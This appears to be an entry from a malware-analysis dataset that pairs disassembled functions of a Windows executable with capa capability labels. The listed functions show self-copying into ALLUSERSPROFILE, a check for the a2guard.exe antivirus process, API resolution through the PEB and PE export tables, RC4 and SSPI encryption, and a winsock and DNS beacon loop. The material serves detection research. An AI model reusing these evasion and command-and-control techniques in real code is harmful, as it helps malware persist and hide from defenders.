joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Access peb ldr_data
Copy file
Create thread
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbfc
lea ecx, [ebp]
sub ecx, esp
push ecx
lea eax, [esp + 4]
push eax
call fcn.004037af
push 0
push 0
push 0x4034c7
push 0x4033a9
push 0
push 0
call sub.kernel32.dll_CreateThread
push str.start2
call fcn.0040388c
mov dword [ebp - 0x404], eax
or eax, eax
je 0x401063
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x30]
lea edi, [0x4051b3]
movsb byte es:[edi], byte [esi]
inc esi
cmp word [esi], 0x2e
jne 0x401059
jmp 0x401081
lea edi, [0x4051b3]
push 4
call fcn.00403843
lea ebx, [eax + 4]
push 0x18
call fcn.00403843
add eax, 0x61
stosb byte es:[edi], al
dec ebx
jne 0x401073
push 0x4051b3
push 0
push 0
call sub.kernel32.dll_CreateMutexA
call sub.kernel32.dll_GetLastError
cmp dword [ebp - 0x404], 0
je 0x4010ad
cmp eax, 0xb7
je 0x401132
call fcn.004025ba
push 0
push 0x4016e1
call sub.user32.dll_EnumWindows
push 0x2710
call sub.kernel32.dll_Sleep
call fcn.004036ec
cmp eax, 0x1000
je 0x4010a8
push str.a2guard.exe
call fcn.00401556
or eax, eax
jne 0x401132
push 0x100
lea eax, [ebp - 0x400]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
push 0x4051b3
lea eax, [ebp - 0x300]
push eax
call fcn.00401670
push 0
lea eax, [ebp - 0x300]
push eax
lea eax, [ebp - 0x400]
push eax
call sub.kernel32.dll_CopyFileA
push 1
push 0
push str.start2
lea eax, [ebp - 0x300]
push eax
push 0
push 0x4051b3
call fcn.00401141
push 0xea60
call sub.kernel32.dll_Sleep
jmp 0x403bec
push 0
call sub.kernel32.dll_ExitProcess
int3
Function at 0x401670
Capabilities:
Create directory
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
push 0x100
push dword [ebp + 8]
push str.ALLUSERSPROFILE
call sub.kernel32.dll_GetEnvironmentVariableA
mov edi, dword [ebp + 8]
lea edi, [eax + edi]
mov al, 0x5c
stosb byte es:[edi], al
push 4
call fcn.00403843
lea ebx, [eax + 4]
push 0x18
call fcn.00403843
add eax, 0x61
stosb byte es:[edi], al
dec ebx
jne 0x40169b
mov al, 0x5c
stosb byte es:[edi], al
mov byte [edi], 0
push 0
push dword [ebp + 8]
call sub.kernel32.dll_CreateDirectoryA
push dword [ebp + 0xc]
call fcn.004038eb
mov esi, dword [ebp + 0xc]
mov ecx, eax
rep movsb byte es:[edi], byte [esi]
mov al, 0x2e
stosb byte es:[edi], al
mov al, 0x65
stosb byte es:[edi], al
mov al, 0x78
stosb byte es:[edi], al
mov al, 0x65
stosb byte es:[edi], al
mov al, 0
stosb byte es:[edi], al
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x4021be
Capabilities:
Encrypt data via sspi

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push edi
push esi
lea ecx, [ebp - 0xc]
sub ecx, esp
push ecx
lea eax, [esp + 0x10]
push eax
call fcn.004037af
jmp 0x4022e2
lea eax, [ebp - 0x14]
push eax
push 4
push dword [ebp + 0x18]
call sub.secur32.dll_QueryContextAttributesA
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0xc]
add eax, dword [ebp - 0x10]
push 4
push 0x3000
push eax
push 0
call sub.kernel32.dll_VirtualAlloc
test eax, eax
je 0x4022ec
mov dword [ebp - 0x18], eax
add eax, dword [ebp - 0x14]
mov ecx, dword [ebp + 0x10]
cmp dword [ebp - 0xc], ecx
ja 0x40221b
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp + 0xc]
add edx, dword [ebp - 0x58]
add dword [ebp - 0x58], ecx
sub dword [ebp + 0x10], ecx
push ecx
push eax
push edx
call fcn.00403874
push 4
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.00403874
mov dword [ebp - 0x50], 7
push 4
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x18]
push eax
call fcn.00403874
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x44], 1
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x14]
mov dword [ebp - 0x40], eax
push 4
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.00403874
mov dword [ebp - 0x38], 6
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x14]
add eax, ecx
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0
lea eax, [ebp - 0x54]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 4
push 0
lea eax, [ebp - 0x24]
push eax
push 0
push dword [ebp + 0x18]
call sub.secur32.dll_EncryptMessage
mov ecx, dword [ebp - 0x54]
add ecx, dword [ebp - 0x48]
add ecx, dword [ebp - 0x3c]
push dword [ebp + 0x14]
push ecx
push dword [ebp - 0x18]
push dword [ebp + 8]
call fcn.00403011
lea eax, [ebp - 0x18]
push eax
call fcn.0040258d
cmp dword [ebp + 0x10], 0
ja 0x4021dc
pop esi
pop edi
pop ebx
leave
ret 0x14
Function at 0x4022f3
Capabilities:
Decrypt data via sspi

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffac
push ebx
push edi
push esi
lea ecx, [ebp - 0xc]
sub ecx, esp
push ecx
lea eax, [esp + 0x10]
push eax
call fcn.004037af
push 4
push dword [ebp + 0xc]
call fcn.004037af
mov edi, dword [ebp + 0xc]
mov dword [ebp - 0x10], 0x8000
push 4
push 0x3000
push dword [ebp - 0x10]
push 0
call sub.kernel32.dll_VirtualAlloc
test eax, eax
je 0x4024cc
mov dword [ebp - 4], eax
cmp dword [ebp - 8], 0
je 0x40234b
cmp dword [ebp - 0x50], 0x80090318
jne 0x402392
mov eax, dword [ebp - 4]
add eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
sub ecx, dword [ebp - 8]
test ecx, ecx
jne 0x40237b
add dword [ebp - 0x10], 0x8000
push dword [ebp - 0x10]
push dword [ebp - 8]
lea eax, [ebp - 4]
push eax
call fcn.00402524
test eax, eax
je 0x4024cc
jmp 0x40234b
push 0
push ecx
push eax
push dword [ebp + 8]
call fcn.004030a8
test eax, eax
jle 0x4024cc
add dword [ebp - 8], eax
push 4
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 8]
push eax
call fcn.00403874
mov dword [ebp - 0x48], 1
push 4
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 4]
push eax
call fcn.00403874
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
lea eax, [ebp - 0x4c]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 4
push 0
push 0
lea eax, [ebp - 0x1c]
push eax
push dword [ebp + 0x10]
call sub.secur32.dll_DecryptMessage
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0x80090318
je 0x40233c
cmp dword [ebp - 0x50], 0x90317
je 0x40244a
cmp dword [ebp - 0x50], 0x90321
jne 0x402441
jmp 0x4024cc
cmp eax, 0
jne 0x4024cc
mov dword [ebp - 8], 0
mov ebx, 1
jmp 0x4024b8
imul ecx, ebx, 0xc
lea esi, [ebp + ecx - 0x4c]
cmp dword [esi + 4], 1
jne 0x402489
cmp dword [esi + 8], 0
je 0x402489
cmp dword [esi], 0
je 0x402489
push dword [esi]
push dword [esi + 8]
push dword [ebp - 0x54]
push edi
call fcn.004024ee
test eax, eax
je 0x4024cc
mov eax, dword [esi]
add dword [ebp - 0x54], eax
jmp 0x4024b7
cmp dword [esi + 4], 5
jne 0x4024b7
cmp dword [esi + 8], 0
je 0x4024b7
cmp dword [esi], 0
je 0x4024b7
mov edx, dword [ebp - 4]
add edx, dword [ebp - 8]
mov ecx, dword [esi]
add dword [ebp - 8], ecx
mov dword [ebp - 0x50], 0x90312
push dword [esi]
push edx
push dword [esi + 8]
call fcn.00403874
inc ebx
cmp ebx, 3
jbe 0x402458
cmp dword [ebp - 0x50], 0x90312
je 0x40233c
jmp 0x4024db
push dword [ebp + 0xc]
call fcn.0040258d
mov dword [ebp - 0x54], 0
lea eax, [ebp - 4]
push eax
call fcn.0040258d
mov eax, dword [ebp - 0x54]
pop esi
pop edi
pop ebx
leave
ret 0xc
Function at 0x4025ba
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffd48
lea ecx, [ebp]
sub ecx, esp
push ecx
lea eax, [esp + 4]
push eax
call fcn.004037af
push 0xea60
call sub.kernel32.dll_Sleep
lea eax, [ebp - 0x18e]
push eax
push 0x202
call sub.wsock32.dll_WSAStartup
test eax, eax
jne 0x4025d3
mov dword [ebp - 0x2a8], 0x405010
lea eax, [ebp - 0x2b2]
push eax
push 0xffffffffffffffff
push 0x405074
call fcn.00403501
lea eax, [ebp - 0x2b2]
push eax
call fcn.004039b2
mov dword [ebp - 0x2b8], eax
push dword [ebp - 0x2b8]
push dword [ebp - 0x2a8]
call fcn.004029f0
test eax, eax
jns 0x402658
cmp dword [ebp - 0x2a8], 0x405010
je 0x40264e
mov dword [ebp - 0x2a8], 0x405010
jmp 0x402658
mov dword [ebp - 0x2a8], 0x405042
push 0x2bf20
call sub.kernel32.dll_Sleep
jmp 0x402621
Function at 0x402fb9
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push edi
push esi
lea ecx, [ebp - 0xc]
sub ecx, esp
push ecx
lea eax, [esp + 0x10]
push eax
call fcn.004037af
push 0
push 0
lea eax, [ebp - 0x14]
push eax
push 0
push dword [ebp + 8]
call fcn.004035f9
push 0
push 0
push 0
lea eax, [ebp - 0x14]
push eax
push 0
call sub.wsock32.dll_select
cmp eax, 1
jne 0x40300a
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.wsock32.dll_recv
pop esi
pop edi
pop ebx
leave
ret 0xc

Function at 0x403011
Capabilities:
Get socket status
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push edi
push esi
lea ecx, [ebp - 0xc]
sub ecx, esp
push ecx
lea eax, [esp + 0x10]
push eax
call fcn.004037af
mov dword [ebp - 4], 0xa
cmp dword [ebp + 0x14], 0
je 0x403041
push 0xffffffffffffffff
push dword [ebp + 0x14]
call sub.kernel32.dll_WaitForSingleObject
mov esi, dword [ebp + 0xc]
jmp 0x40308a
push 0
push 0
lea eax, [ebp - 0x18]
push eax
push 0
push dword [ebp + 8]
call fcn.004035f9
push 0
push 0
lea eax, [ebp - 0x18]
push eax
push 0
push 0
call sub.wsock32.dll_select
cmp eax, 1
jne 0x403090
push 0
push dword [ebp + 0x10]
push esi
push dword [ebp + 8]
call sub.wsock32.dll_send
test eax, eax
jle 0x403090
sub dword [ebp + 0x10], eax
add esi, eax
dec dword [ebp - 4]
je 0x403090
cmp dword [ebp + 0x10], 0
jne 0x403046
cmp dword [ebp + 0x14], 0
je 0x40309e
push dword [ebp + 0x14]
call sub.kernel32.dll_SetEvent
mov eax, dword [ebp + 0x10]
pop esi
pop edi
pop ebx
leave
ret 0x10

Function at 0x4030a8
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push edi
push esi
lea ecx, [ebp - 0xc]
sub ecx, esp
push ecx
lea eax, [esp + 0x10]
push eax
call fcn.004037af
push 0
push dword [ebp + 0x14]
lea eax, [ebp - 0x14]
push eax
push 0
push dword [ebp + 8]
call fcn.004035f9
lea edx, [ebp - 8]
cmp dword [ebp + 0x14], 0
jne 0x4030df
xor edx, edx
push edx
push 0
push 0
lea eax, [ebp - 0x14]
push eax
push 0
call sub.wsock32.dll_select
cmp eax, 1
jne 0x403104
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.wsock32.dll_recv
pop esi
pop edi
pop ebx
leave
ret 0x10
Function at 0x40316d
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbd4
push ebx
push edi
push esi
lea ecx, [ebp - 0xc]
sub ecx, esp
push ecx
lea eax, [esp + 0x10]
push eax
call fcn.004037af
push dword [ebp + 8]
call fcn.004038eb
mov esi, dword [ebp + 8]
sub eax, 4
js 0x403281
cmp dword [eax + esi], 0x7469622e
jne 0x403281
mov dword [ebp - 0x28], 0x40507f
mov dword [ebp - 0x428], 0
lea edi, [ebp - 0x424]
lea eax, [ebp - 0x228]
push eax
push 0xffffffffffffffff
push dword [ebp - 0x28]
call fcn.00403501
lea eax, [ebp - 0x228]
push eax
call fcn.00403633
or eax, eax
je 0x4031ea
lea eax, [ebp - 0x228]
jmp 0x4031fe
push 2
lea eax, [ebp - 0x228]
push eax
call fcn.0040316d
push eax
call sub.wsock32.dll_inet_ntoa
push eax
call sub.wsock32.dll_inet_addr
test eax, eax
je 0x40320f
inc dword [ebp - 0x428]
stosd dword es:[edi], eax
cmp dword [ebp - 0x28], 0x40507f
jne 0x403221
mov dword [ebp - 0x28], 0x4050b0
jmp 0x4031c1
cmp dword [ebp - 0x28], 0x4050b0
jne 0x403233
mov dword [ebp - 0x28], 0x4050ef
jmp 0x4031c1
push 0
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x428]
push eax
push 8
push 1
push dword [ebp + 8]
push str.dnsapi.dll
call fcn.004039f9
push str.DnsQuery_A
push eax
call fcn.00403ae9
call eax
or eax, eax
jne 0x40327f
mov esi, dword [ebp - 0x24]
jmp 0x40327b
cmp word [esi + 8], 1
jne 0x403279
mov eax, dword [esi + 0x18]
mov dword [ebp - 0x42c], eax
jmp 0x40327f
mov esi, dword [esi]
or esi, esi
jne 0x403267
jmp 0x4032e4
push 0x20
lea eax, [ebp - 0x20]
push eax
call fcn.004037af
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x14], 6
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x20]
push eax
push 0
push dword [ebp + 8]
call sub.ws2_32.dll_getaddrinfo
or eax, eax
jne 0x4032e4
mov esi, dword [ebp - 0x24]
jmp 0x4032e0
cmp dword [ebp + 0xc], 2
jne 0x4032dd
cmp dword [esi + 4], 2
jne 0x4032dd
mov eax, dword [esi + 0x18]
mov eax, dword [eax + 4]
mov dword [ebp - 0x42c], eax
push dword [ebp - 0x24]
call sub.ws2_32.dll_freeaddrinfo
jmp 0x4032e4
mov esi, dword [esi + 0x1c]
or esi, esi
jne 0x4032bb
mov eax, dword [ebp - 0x42c]
pop esi
pop edi
pop ebx
leave
ret 8
Function at 0x4032f1
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffc00
pushal
mov eax, 0xfffefdfc
mov ecx, 0x40
mov dword [ebp + ecx*4 - 0x404], eax
sub eax, 0x4040404
dec ecx
jne 0x403305
xor eax, eax
mov edi, dword [ebp + 8]
xor ebx, ebx
mov esi, dword [ebp + 0xc]
jmp 0x403325
inc bl
dec esi
je 0x403319
mov dl, byte ss:[ecx + ebp - 0x400]
add al, byte [ebx + edi]
add al, dl
mov dh, byte ss:[eax + ebp - 0x400]
mov byte ss:[ecx + ebp - 0x400], dh
mov byte ss:[eax + ebp - 0x400], dl
inc cl
jne 0x403320
mov edi, dword [ebp + 0x14]
mov esi, dword [ebp + 0x10]
test edi, edi
je 0x4033a4
xor eax, eax
xor edx, edx
xor ecx, ecx
xor ebx, ebx
inc bl
mov dl, byte ss:[ebx + ebp - 0x400]
add al, dl
mov cl, byte ss:[eax + ebp - 0x400]
mov byte ss:[ebx + ebp - 0x400], cl
mov byte ss:[eax + ebp - 0x400], dl
add cl, dl
mov cl, byte ss:[ecx + ebp - 0x400]
xor byte [esi], cl
inc esi
dec edi
jne 0x403360
xor eax, eax
lea edi, [ebp - 0x400]
mov ecx, 0x40
cld
rep stosd dword es:[edi], eax
popal
leave
ret 0x10

Function at 0x4037c6
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push edi
push esi
lea ecx, [ebp - 0xc]
sub ecx, esp
push ecx
lea eax, [esp + 0x10]
push eax
call fcn.004037af
push 0
push 0x80
push dword [ebp + 0x14]
push 0
push 0
push 0x40000000
push dword [ebp + 8]
call sub.kernel32.dll_CreateFileA
mov dword [ebp - 4], eax
test eax, eax
jns 0x40380b
call sub.kernel32.dll_GetLastError
cmp eax, 0x20
je 0x4037df
cmp dword [ebp - 4], 0xffffffff
je 0x40383c
push dword [ebp + 0x18]
push 0
push 0
push dword [ebp - 4]
call sub.kernel32.dll_SetFilePointer
push 0
lea eax, [ebp - 8]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp - 4]
call sub.kernel32.dll_WriteFile
push dword [ebp - 4]
call sub.kernel32.dll_CloseHandle
pop esi
pop edi
pop ebx
leave
ret 0x14

Function at 0x40388c
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push edi
push esi
lea ecx, [ebp - 0xc]
sub ecx, esp
push ecx
lea eax, [esp + 0x10]
push eax
call fcn.004037af
call sub.kernel32.dll_GetCommandLineW
or eax, eax
je 0x4038e4
lea edx, [ebp - 4]
push edx
push eax
call sub.shell32.dll_CommandLineToArgvW
mov edi, eax
xor eax, eax
cmp dword [ebp - 4], 1
jle 0x4038e4
mov edi, dword [edi + 4]
lea eax, [ebp - 0x104]
push eax
push dword [ebp + 8]
call fcn.00403980
lea eax, [ebp - 0x104]
push eax
push edi
call fcn.0040393e
pop esi
pop edi
pop ebx
leave
ret 4
Function at 0x4039f9
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffaf4
push ebx
push edi
push esi
lea ecx, [ebp - 0xc]
sub ecx, esp
push ecx
lea eax, [esp + 0x10]
push eax
call fcn.004037af
lea eax, [ebp - 0x50c]
push eax
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.00403501
lea edx, [ebp - 0x50c]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0xc]
mov ebx, dword [eax + 0x10]
mov esi, dword [esi]
mov edi, dword [esi + 0x30]
xor ecx, ecx
cmp byte [ecx + edx], 0
je 0x403adf
mov al, byte [edi]
mov ah, al
cmp al, 0x41
jb 0x403a5d
cmp al, 0x5a
ja 0x403a5d
add ah, 0x20
jmp 0x403a68
cmp al, 0x61
jb 0x403a68
cmp al, 0x7a
ja 0x403a68
sub ah, 0x20
cmp byte [ecx + edx], al
je 0x403a74
cmp byte [ecx + edx], ah
je 0x403a74
jmp 0x403a7a
add edi, 2
inc ecx
jmp 0x403a42
cmp esi, ebx
jne 0x403a3b
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x50c]
push eax
call fcn.00403980
mov word [ebp - 8], ax
mov word [ebp - 6], ax
add word [ebp - 6], 2
lea eax, [ebp - 0x108]
mov dword [ebp - 4], eax
mov dword [ebp - 0x10c], 0
lea eax, [ebp - 0x10c]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push str.ntdll.dll
call fcn.004039f9
push str.LdrLoadDll
push eax
call fcn.00403ae9
call eax
mov eax, dword [ebp - 0x10c]
jmp 0x403ae2
mov eax, dword [esi + 0x18]
pop esi
pop edi
pop ebx
leave
ret 4

Function at 0x403ae9
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffa68
push ebx
push edi
push esi
lea ecx, [ebp - 0xc]
sub ecx, esp
push ecx
lea eax, [esp + 0x10]
push eax
call fcn.004037af
lea eax, [ebp - 0x598]
push eax
push 0xffffffffffffffff
push dword [ebp + 0xc]
call fcn.00403501
mov esi, dword [ebp + 8]
mov eax, dword [esi + 0x3c]
mov dx, word [eax + esi + 0x18]
cmp dx, 0x20b
jne 0x403b38
mov edx, dword [eax + esi + 0x88]
mov ecx, dword [eax + esi + 0x8c]
jmp 0x403b40
mov edx, dword [eax + esi + 0x78]
mov ecx, dword [eax + esi + 0x7c]
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x18], ecx
or eax, eax
je 0x403be3
lea eax, [edx + esi]
mov edx, dword [eax + 0x18]
mov dword [ebp - 4], edx
mov edx, dword [eax + 0x1c]
mov dword [ebp - 8], edx
add dword [ebp - 8], esi
mov edx, dword [eax + 0x20]
mov dword [ebp - 0xc], edx
add dword [ebp - 0xc], esi
mov edx, dword [eax + 0x24]
mov dword [ebp - 0x10], edx
add dword [ebp - 0x10], esi
xor ebx, ebx
mov edi, dword [ebp - 0xc]
jmp 0x403bde
mov eax, dword [edi + ebx*4]
add eax, esi
push eax
lea eax, [ebp - 0x598]
push eax
call fcn.00403906
or eax, eax
je 0x403bdd
mov edx, dword [ebp - 0x10]
mov ax, word [edx + ebx*2]
mov edx, dword [ebp - 8]
mov eax, dword [edx + eax*4]
mov edx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x18]
add edx, esi
add eax, esi
add ecx, edx
cmp eax, edx
jbe 0x403bdb
cmp eax, ecx
ja 0x403bdb
mov esi, eax
mov edi, eax
mov al, 0x2e
repne scasb al, byte es:[edi]
sub edi, esi
mov ecx, edi
lea edi, [ebp - 0x198]
rep movsb byte es:[edi], byte [esi]
mov byte [edi - 1], 0
lea eax, [ebp - 0x198]
push eax
call fcn.004039f9
push esi
push eax
call fcn.00403ae9
jmp 0x403be5
inc ebx
cmp ebx, dword [ebp - 4]
jb 0x403b79
xor eax, eax
pop esi
pop edi
pop ebx
leave
ret 8
Function at 0x401265
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 0xc]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 0x10]
movzx eax, word [eax + 0x18]
cmp eax, 0x10b
jne 0x4012a9
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
movzx eax, word [eax + 0x14]
mov ecx, dword [ebp - 0x14]
lea eax, [ecx + eax + 0x18]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x14]
mov ax, word [eax + 6]
mov word [ebp - 8], ax
jmp 0x4012e2
mov eax, dword [ebp - 0x10]
movzx eax, word [eax + 0x18]
cmp eax, 0x20b
jne 0x4012db
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
movzx eax, word [eax + 0x14]
mov ecx, dword [ebp - 0x18]
lea eax, [ecx + eax + 0x18]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
mov ax, word [eax + 6]
mov word [ebp - 8], ax
jmp 0x4012e2
xor eax, eax
jmp 0x401374
push 0x28
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp + 8]
cmp edx, dword [ecx + eax + 0x14]
jae 0x4012f9
mov eax, dword [ebp + 8]
jmp 0x401374
xor eax, eax
mov word [ebp - 4], ax
jmp 0x40130d
mov ax, word [ebp - 4]
add ax, 1
mov word [ebp - 4], ax
movzx eax, word [ebp - 4]
movzx ecx, word [ebp - 8]
cmp eax, ecx
jge 0x401372
movzx eax, word [ebp - 4]
imul eax, eax, 0x28
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp + 8]
cmp edx, dword [ecx + eax + 0xc]
jb 0x401370
movzx eax, word [ebp - 4]
imul eax, eax, 0x28
movzx ecx, word [ebp - 4]
imul ecx, ecx, 0x28
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + eax + 0xc]
mov edx, dword [ebp - 0xc]
add eax, dword [edx + ecx + 0x10]
cmp dword [ebp + 8], eax
jae 0x401370
movzx eax, word [ebp - 4]
imul eax, eax, 0x28
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp + 8]
sub edx, dword [ecx + eax + 0xc]
movzx eax, word [ebp - 4]
imul eax, eax, 0x28
mov ecx, dword [ebp - 0xc]
add edx, dword [ecx + eax + 0x14]
mov eax, edx
jmp 0x401374
jmp 0x401301
xor eax, eax
leave
ret
Function at 0x401376
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 4]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 8], ecx
mov eax, dword [ebp - 8]
movzx eax, word [eax + 0x18]
cmp eax, 0x10b
jne 0x4013ae
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 8]
lea eax, [ecx + eax + 0x78]
mov dword [ebp - 0xc], eax
jmp 0x4013d8
mov eax, dword [ebp - 8]
movzx eax, word [eax + 0x18]
cmp eax, 0x20b
jne 0x4013d1
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 8]
lea eax, [ecx + eax + 0x88]
mov dword [ebp - 0xc], eax
jmp 0x4013d8
xor eax, eax
jmp 0x4014ab
push dword [ebp - 4]
mov eax, dword [ebp - 0xc]
push dword [eax]
call fcn.00401265
pop ecx
pop ecx
add eax, dword [ebp - 4]
mov dword [ebp - 8], eax
push dword [ebp - 4]
mov eax, dword [ebp - 8]
push dword [eax + 0x20]
call fcn.00401265
pop ecx
pop ecx
add eax, dword [ebp - 4]
mov dword [ebp - 0xc], eax
push dword [ebp - 4]
mov eax, dword [ebp - 8]
push dword [eax + 0x24]
call fcn.00401265
pop ecx
pop ecx
add eax, dword [ebp - 4]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x18]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x10]
dec eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x1c], 0
je 0x4014a9
push dword [ebp - 4]
mov eax, dword [ebp - 0xc]
push dword [eax]
call fcn.00401265
pop ecx
pop ecx
add eax, dword [ebp - 4]
mov dword [ebp - 0x20], eax
push str.SteamApiInit
push dword [ebp - 0x20]
call fcn.00403de0
pop ecx
pop ecx
test eax, eax
je 0x401493
push dword [ebp - 4]
mov eax, dword [ebp - 8]
push dword [eax + 0x1c]
call fcn.00401265
pop ecx
pop ecx
add eax, dword [ebp - 4]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x18]
movzx eax, word [eax]
mov ecx, dword [ebp - 0x14]
lea eax, [ecx + eax*4]
mov dword [ebp - 0x14], eax
push dword [ebp - 4]
mov eax, dword [ebp - 0x14]
push dword [eax]
call fcn.00401265
pop ecx
pop ecx
jmp 0x4014ab
mov eax, dword [ebp - 0xc]
add eax, 4
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
inc eax
inc eax
mov dword [ebp - 0x18], eax
jmp 0x401422
xor eax, eax
leave
ret